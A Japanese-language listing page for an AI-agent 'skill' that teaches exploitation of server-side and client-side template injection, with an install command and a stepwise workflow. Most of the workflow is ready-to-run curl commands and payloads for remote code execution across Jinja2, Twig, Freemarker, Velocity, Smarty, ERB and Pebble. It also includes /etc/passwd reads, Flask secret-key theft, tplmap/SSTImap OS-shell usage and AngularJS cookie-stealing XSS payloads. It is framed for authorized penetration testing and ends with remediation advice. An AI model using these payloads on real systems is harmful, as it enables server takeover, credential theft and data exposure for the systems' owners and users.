mcpField
E
exploiting-template-injection-vulnerabilities

exploiting-template-injection-vulnerabilities

github.com/mukul975セキュリティ35.2k247 回インストール8 週間前に更新
リポジトリ

exploiting-template-injection-vulnerabilities について

許可を得たテストでサーバーサイドおよびクライアントサイドのテンプレートインジェクションを調査・評価するスキルです。エンジンの特定、ペイロード検証、SSTI ツールの利用を扱います。

主な機能

  1. 01テンプレートインジェクション箇所の特定
  2. 02応答からのテンプレートエンジン識別
  3. 03サーバーサイド注入ペイロードのテスト
  4. 04クライアントサイド注入の評価
  5. 05tplmap と SSTImap の利用

活用シーン

  1. 01ユーザー編集可能なメールテンプレートのテスト
  2. 02CMS やレポートのテンプレート入力の評価
  3. 03リクエストパスを反映するエラーページの SSTI 確認
  4. 04クライアントサイドテンプレート式の評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-template-injection-vulnerabilities

インストール後、Claude Code で/exploiting-template-injection-vulnerabilitiesを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
scripts/
agent.py

詳細

テンプレートインジェクションの脆弱性を悪用する

使用する状況

  • ユーザー入力がサーバーサイドのテンプレートエンジンを通じてレンダリングされる、許可済みのペネトレーションテスト中
  • ユーザーが入力したデータを含むエラーページ、メールテンプレート、PDF ジェネレーター、レポート作成ツールをテストする場合
  • ユーザーがテンプレートや通知メッセージをカスタマイズできるアプリケーションを評価する場合
  • 算術演算の結果を反映するパラメーターで、潜在的な SSTI を特定する場合(例:{{7*7}} が 49 を返す)
  • CMS プラットフォーム、マーケティングツール、またはテンプレート機能を備えたアプリケーションのセキュリティ評価中

前提条件

  • 許可:RCE テストを対象範囲に含む、書面によるペネトレーションテスト契約
  • Burp Suite Professional:テンプレートパラメーターの傍受と変更に使用
  • tplmap:自動 SSTI 悪用ツール(git clone https://github.com/epinna/tplmap.git)
  • SSTImap:最新の SSTI スキャナー(pip install sstimap)
  • curl:手動での SSTI ペイロードテストに使用
  • テンプレートエンジンに関する知識:Jinja2、Twig、Freemarker、Velocity、Mako、Pebble、ERB、Smarty

ワークフロー

ステップ 1:テンプレートインジェクション箇所を特定する

ユーザー入力がテンプレートエンジンによって処理されるパラメーターを探します。

# Inject mathematical expressions to detect template processing
# If the server evaluates the expression, SSTI may be present

# Universal detection payloads
PAYLOADS=(
  '{{7*7}}'           # Jinja2, Twig
  '${7*7}'            # Freemarker, Velocity, Spring EL
  '#{7*7}'            # Thymeleaf, Ruby ERB
  '<%= 7*7 %>'        # ERB (Ruby), EJS (Node.js)
  '{7*7}'             # Smarty
  '{{= 7*7}}'         # doT.js
  '${{7*7}}'          # AngularJS/Spring
  '#set($x=7*7)$x'   # Velocity
)

for payload in "${PAYLOADS[@]}"; do
  encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
  echo -n "$payload -> "
  curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
done

# Check common injection locations:
# - Error pages with reflected input
# - Profile fields (name, bio, signature)
# - Email subject/body templates
# - PDF/report generation with custom fields
# - Search results pages
# - 404 pages reflecting the URL path
# - Notification templates
ステップ 2:テンプレートエンジンを特定する

適切な悪用手法を選択するために、使用されているテンプレートエンジンを特定します。

# Decision tree for engine identification:
# {{7*'7'}} => 7777777 = Jinja2 (Python)
# {{7*'7'}} => 49 = Twig (PHP)
# ${7*7} => 49 = Freemarker/Velocity (Java)
# #{7*7} => 49 = Thymeleaf (Java)
# <%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)

# Test Jinja2 vs Twig
curl -s "https://target.example.com/page?name={{7*'7'}}"
# 7777777 = Jinja2
# 49 = Twig

# Test for Jinja2 specifically
curl -s "https://target.example.com/page?name={{config}}"
# Returns Flask config = Jinja2/Flask

# Test for Freemarker
curl -s "https://target.example.com/page?name=\${.now}"
# Returns date/time = Freemarker

# Test for Velocity
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
# Returns 1 = Velocity

# Test for Smarty
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
# Returns test = Smarty

# Test for Pebble
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
# Returns class info = Pebble

# Use tplmap for automated engine detection
python3 tplmap.py -u "https://target.example.com/page?name=test"
ステップ 3:Jinja2(Python/Flask)を悪用する

Jinja2 テンプレートインジェクションを通じてコード実行を達成します。

# Read configuration
curl -s "https://target.example.com/page?name={{config.items()}}"

# Access secret key
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"

# RCE via Jinja2 - method 1: accessing os module through MRO
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# RCE via Jinja2 - method 2: using cycler
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# RCE via Jinja2 - method 3: using lipsum
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# File read via Jinja2
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# Enumerate available subclasses to find useful ones
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
ステップ 4:Twig(PHP)、Freemarker(Java)、その他のエンジンを悪用する

エンジン固有のペイロードを使用して悪用します。

# --- Twig (PHP) ---
# RCE via Twig
curl -s "https://target.example.com/page?name={{['id']|filter('system')}}"
curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"

# Twig file read
curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}"

# --- Freemarker (Java) ---
# RCE via Freemarker
curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}"

# Alternative Freemarker RCE
curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"

# --- Velocity (Java) ---
# RCE via Velocity
curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)"

# --- Smarty (PHP) ---
# RCE via Smarty
curl -s "https://target.example.com/page?name={system('id')}"

# --- ERB (Ruby) ---
# RCE via ERB
curl -s "https://target.example.com/page?name=<%25=%20system('id')%20%25>"

# --- Pebble (Java) ---
# RCE via Pebble
curl -s "https://target.example.com/page?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}"
ステップ 5:tplmap と SSTImap で自動化する

包括的なテストと悪用に、自動化ツールを使用します。

# tplmap - Automated SSTI exploitation
python3 tplmap.py -u "https://target.example.com/page?name=test" --os-shell

# tplmap with POST parameter
python3 tplmap.py -u "https://target.example.com/page" -d "name=test" --os-cmd "id"

# tplmap with custom headers
python3 tplmap.py -u "https://target.example.com/page?name=test" \
  -H "Cookie: session=abc123" \
  -H "Authorization: Bearer token" \
  --os-cmd "whoami"

# SSTImap
sstimap -u "https://target.example.com/page?name=test"
sstimap -u "https://target.example.com/page?name=test" --os-shell

# tplmap file read
python3 tplmap.py -u "https://target.example.com/page?name=test" \
  --download "/etc/passwd" "/tmp/passwd"

# Burp Intruder approach:
# 1. Send request to Intruder
# 2. Mark the injectable parameter
# 3. Load SSTI payload list
# 4. Grep for indicators: "49", error messages, class names
ステップ 6:クライアントサイドテンプレートインジェクション(CSTI)をテストする

クライアントサイドテンプレートにおける Angular/Vue/React の式インジェクションを評価します。

# AngularJS expression injection
curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}"

# AngularJS sandbox bypass (pre-1.6)
curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}"

# Vue.js expression injection
curl -s "https://target.example.com/page?name={{_c.constructor('alert(1)')()}}"

# Check for AngularJS ng-app on the page
curl -s "https://target.example.com/" | grep -i "ng-app\|angular\|vue\|v-"

# Test with different CSTI payloads
for payload in '{{7*7}}' '{{constructor.constructor("return this")()}}' \
  '{{$on.constructor("alert(1)")()}}'; do
  encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
  echo -n "$payload: "
  curl -s "https://target.example.com/search?q=$encoded" | grep -oP "49|alert|constructor"
done

主な概念

概念説明
SSTIサーバーサイドテンプレートインジェクション。サーバーサイドで実行されるテンプレートディレクティブを注入します
CSTIクライアントサイドテンプレートインジェクション。AngularJS/Vue テンプレートに式を注入します(XSS につながります)
テンプレートエンジンプレースホルダーを含むテンプレートファイルを処理し、データに置き換えるソフトウェア
サンドボックスエスケープ危険な関数にアクセスするため、テンプレートエンジンのセキュリティ制限を回避すること
MRO(メソッド解決順序)Jinja2 の悪用で使用される Python クラス階層のたどり方
オブジェクトイントロスペクション__class__、__subclasses__()、__globals__ を使用して Python オブジェクトをたどること
ブラインド SSTI出力を直接確認できないテンプレートインジェクション。OOB 手法が必要です

ツールとシステム

ツール用途
tplmapOS シェル機能を備えた、自動 SSTI 検出および悪用
SSTImap複数のテンプレートエンジンに対応した最新の SSTI スキャナー
Burp Suite Professionalリクエストの傍受と、ペイロードのファジングに使用する Intruder
Hackvertor(Burp 拡張機能)バイパス手法に使用するペイロードのエンコードと変換
PayloadsAllTheThingsGitHub 上の包括的な SSTI ペイロードリファレンス
OWASP ZAPアクティブスキャンモードでの自動 SSTI 検出

よくあるシナリオ

シナリオ 1:Flask メールテンプレートインジェクション

Flask アプリケーションでは、ユーザーがメール通知テンプレートをカスタマイズできます。カスタムテンプレートはサンドボックス化されずに Jinja2 でレンダリングされるため、{{config.items()}} とサブクラスのたどりを通じて RCE が可能になります。

シナリオ 2:Java CMS の Freemarker インジェクション

Java ベースの CMS では、管理者が Freemarker を使用してページテンプレートを編集できます。権限の低い編集者が <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} を注入し、コマンドを実行します。

シナリオ 3:エラーページの SSTI

カスタム 404 エラーページでは、Twig テンプレートを通じて要求された URL パスが反映されます。/{{['id']|filter('system')}} をリクエストすると、サーバーが id コマンドを実行します。

シナリオ 4:AngularJS のクライアントサイドインジェクション

検索ページでは、ng-bind-html を使用して AngularJS で結果をレンダリングします。{{constructor.constructor('alert(document.cookie)')()}} を検索すると、AngularJS の式評価を通じて XSS が発生します。

出力形式

## Template Injection Finding

**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE
**Severity**: Critical (CVSS 9.8)
**Location**: GET /page?name= (name parameter)
**Template Engine**: Jinja2 (Python 3.9 / Flask 2.3)
**OWASP Category**: A03:2021 - Injection

### Reproduction Steps
1. Send GET /page?name={{7*7}} - Response contains "49" confirming SSTI
2. Send GET /page?name={{config.SECRET_KEY}} - Returns Flask secret key
3. Send GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}}
4. Server returns: uid=33(www-data) gid=33(www-data)

### Confirmed Impact
- Remote code execution as www-data user
- Secret key disclosure: Flask SECRET_KEY exposed
- File system read: /etc/passwd, application source code
- Potential lateral movement to internal network

### Recommendation
1. Never pass user input directly to template render functions
2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)
3. Implement strict input validation and allowlisting for template variables
4. Use logic-less template engines (Mustache, Handlebars) where possible
5. Apply least-privilege OS permissions for the web application user

コメント